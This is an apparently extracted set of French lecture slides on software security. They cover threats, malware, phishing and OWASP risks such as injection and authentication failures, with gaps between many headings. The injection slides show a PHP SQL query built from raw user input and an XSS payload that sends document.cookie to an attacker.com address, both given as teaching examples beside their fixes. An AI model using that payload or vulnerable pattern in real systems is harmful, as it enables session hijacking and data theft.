Académique Documents
Professionnel Documents
Culture Documents
Système d’information :
ensemble des ressources destinées à collecter,
classifier, stocker, gérer, diffuser les informations
au sein d’une organisation.
systèmes d’information
Sécurité des
Sécurité juridique
...
logiciels
Sécurité des
Réseaux et échanges
1. Confidentialité
2. Intégrité
Bien à
protéger 3. Disponibilité
4. Authentification
5. Non-répudiation
1. Confidentialité
2. Intégrité
3. Disponibilité
4. Authentification
5. Non-répudiation
Sûreté Sécurité
Protection contre les Protection contre les actions
dysfonctionnements et accidents malveillantes volontaires
involontaires
Exemple de risque : blocage d’un
Exemple de risque : saturation d’un service, modification
point d’accès, panne d’un disque, d’informations, vol d’information
erreur d’exécution, etc.
Non quantifiable statistiquement,
Quantifiable statistiquement (ex. : la mais il est possible d’évaluer en
durée de vie moyenne d’un disque amont le niveau du risque et les
est de X milliers d’heures) impacts
Jamila Oukharijane Sécurité logiciel 14
3. Notions de sécurité
Définition de la sécurité
La sécurité informatique recouvre l'ensemble de méthodes,
techniques et outils mis en œuvre pour minimiser la vulnérabilité d’un
système contre des menaces intentionnelles et accidentelles.
La sécurité informatique :
Vulnérabilités
b. Notion de « Menace »
Perte de service
Menaces
Code malveillant
Attaques
Attaques réseau
Accès illégal (intrusion) Rayonnements
Confidentialité (écoute) confidentialité
Intégrité (modification paquets) confidentialité
Intégrité
Disponibilité (saturation) Disponibilité
position de l’attaquant.
Une attaque peut être perpétrée de l’intérieur ou de l’extérieur de
l’organisation.
− Une «attaque interne» est une attaque initiée par une entité dans
le périmètre de sécurité, c'est‐à‐dire une entité autorisée à
accéder aux ressources du système mais qui les utilise d'une
manière non approuvée par ceux qui ont accordé l’autorisation.
− Une «attaque externe» est initiée depuis l'extérieur du périmètre,
par un utilisateur non autorisé ou illégitime du système.
1. Niveau matériel
Matériel nécessaire au stockage et à l’exécution de l’application web.
Serveurs (serveur web, serveur d’application, serveur BD)
Postes clients
Équipements réseau (routeurs, hubs, câbles...)
Vulnérabilités:
Stockage dans des locaux inadaptés (facilité d’accès aux
personnes, mauvaise aération, humidité…)
Composants matériels de mauvaise qualité
Alimentation électrique et connexion réseau défaillantes…
Vulnérabilités:
Comptes sans mot de passe
Mot de passe trop court, trop simple...
Gestion laxiste des droits d’utilisateur (utilisateurs disposant de plus
de droits que nécessaire)
Négligence dans l’application des mises à jour de sécurité
...
3. Niveau application
La sécurité de l’application web doit être une préoccupation
constante tout au long de son cycle de vie.
Vulnérabilités:
…
4. Niveau réseau
Les applications web étant des applications réparties, les
communications réseau sont nécessaires à leur fonctionnement. La
sécurité sur le réseau consiste essentiellement à sécuriser les
échanges de données et à garantir l’identité des tiers qui participent
à la communication.
Vulnérabilités:
Un ver peut produire des effets soit immédiatement soit de manière
différée (à une date donnée, lors de la survenue d'un évènement ou
par déclenchement d'une bombe programmée).
Jamila Oukharijane Sécurité logiciel 33
1. Les logiciels malveillants
Il peut servir à voler des mots de passe, copier des données
sensibles, créer une brèche volontaire dans la sécurité pour autoriser
des accès à des parties protégées du réseau à des personnes se
connectant de l’extérieur (ouvrir un port).
Les malveillances par messagerie regroupent toutes les menaces
informatiques intentionnelles ciblant les comptes de messageries,
les e-mails ou les échanges de courriers électroniques.
On y distingue principalement trois types :
− les spams,
− les canulars.
Pourriel (spam ou courrier indésirable) est l’envoi massif de
courrier électronique à des destinataires ne l’ayant pas sollicité.
Les spammeurs collectent généralement les adresses
électroniques sur internet (dans les forums, sur les sites internet,
dans les groupes de discussion, …).
Hameçonnage (phishing) est une technique frauduleuse utilisée
par les pirates informatiques pour récupérer des informations
(généralement bancaires) auprès des utilisateurs.
Les utilisateurs reçoivent un courrier électronique semblant
provenir d’une entreprise de confiance, typiquement une banque
ou un site de commerce (copie conforme du site original)
Canular (Hoax) est un courriel électronique propageant de
fausses informations et poussant le destinataire à diffuser la
fausse nouvelle à tous ses proches ou collègues.
En apparence les canulars ne sont nocifs mais ils peuvent avoir
d’autres conséquences telles que la congestion des réseaux, la
diffusion de fausses rumeurs et l’encombrement des boites aux
lettres électroniques avec la diffusion massive de courriels
Solutions :
Symétrique
Asymétrique
Une attaque par injection est une attaque permettant
l’injection de code arbitraire dans l’application.
L’injection se produit quand des données écrites par
l’utilisateur sont envoyées à un interpréteur en tant qu’élément
faisant partie d’une commande ou d’une requête.
En injectant dans les zones de saisie classiques présentées à
l’utilisateur du code malicieux.
4) … 3) …
Attaquant Serveur http
Parmi les formes les plus fréquentes d’injection, nous citons :
$motdepasse = $_GET['motdepasse'];
//génération de la requête
1 $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom =
'$nom' AND motdepasse = PASSWORD( '$motdepasse' )";
//exécution de la requête
$reponse = mysql_query($requeteSQL);
$resultat = mysql_fetch_assoc($reponse);
//affichage du résultat
echo $resultat['numerocarte'];
XSS Stockée
Jamila Oukharijane Sécurité logiciel 60
A3. Injection : Cross-Site Scripting (XSS)
'><script>document.location='http://www.attacker.com/cgi-bin/
cookie.cgi? foo='+document.cookie</script>'.
Solutions
1. Encodage des données : consiste à utiliser des fonctions permettant de filtrer des
symboles suspects en les remplaçant par leur équivalent HTML. Prenons l’exemple de la
fonction htmlspecialchars en PHP. Avec cette fonction, les modifications suivantes sont
réalisées : Le caractère " devient " et le caractère ‘ devient '.
<?php
$recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
echo $recherche;
?>
Solutions :
Mettre en place et utiliser un cycle de vie de développement
sécurisé avec des professionnels de la sécurité applicative
pour aider à évaluer et à concevoir des contrôles liés à la
sécurité et à la confidentialité .
Solutions :
Gérer granulairement des ressources : lors des phases de
récupération des besoins métier, il est important de bien
recueillir et évaluer les exigences techniques et fonctionnelles,
dont la confidentialité des données de l’application.
Objectif de l’attaque
Déni de service
Prise de contrôle du système
Solutions
Même si votre application est sécurisée, vous devez vous
assurer que le framework, les bibliothèques, les appels API et
la plateforme que vous utilisez ne sont pas vulnérables.
Lorsqu’une nouvelle vulnérabilité est découverte, un correctif
est généralement proposé. Il faudra alors l’appliquer pour
garantir la sécurité de l’application.
Les versions et les composants côté client et côté serveur ne
sont pas connus ;
Des logiciels vulnérables, qui ne sont plus supportés ou
obsolètes, sont encore utilisés ;
Il n’y a pas de tests de compatibilité ;
Les configurations des composants ne sont pas sécurisées.
Solutions :
Supprimez les dépendances, fonctionnalités, composants,
fichiers et documentations inutiles ;
Faites régulièrement l’inventaire des versions des composants
client et serveur ainsi que de leurs dépendances. L’OWASP
propose pour cela un outil adapté : le Dependency Check ;
N’utilisez que des sources officielles et des liens sûrs
Faites particulièrement attention aux bibliothèques et aux
composants dont la maintenance n’est pas assurée et pour
lesquels il n’y a plus de patchs de sécurité.
Jamila Oukharijane Sécurité logiciel 73
A7. Échecs d'identification et d'authentification
Beaucoup d’applications exigent qu’un utilisateur se connecte
pour arriver sur des pages auxquelles lui seul a accès.
L’application est vulnérable à une attaque si un utilisateur
malveillant peut obtenir un accès non autorisé aux mots de
passe et clés pour pirater la session d’un autre utilisateur
Lors du développement d’une application, le codage des
fonctions liées à l’authentification et à la gestion des sessions
peuvent être incorrectement implémentées, permettant ainsi à
des attaquants de compromettre des mots de passe et des
identifiants de session.
Des mots de passe faibles ou trop courants sont acceptés lors
de l’enregistrement
Les mots de passe sont stockés en clair ou faiblement chiffrés
Les sessions d’utilisateurs ne sont pas invalidées correctement
en cas d’inactivité ou de déconnexion de l’utilisateur
Les identifiants de session sont aperçu dans l’URL
Les attaques pour anticiper une identité peuvent être regroupées en
deux catégories :
Objectifs de l’attaque :
Accéder à des fonctionnalités réservées à certaines
personnes.
Accéder à des données confidentielles.
Vol d’information
Corruption de données
Vol de session
Solutions
Solutions
Solutions :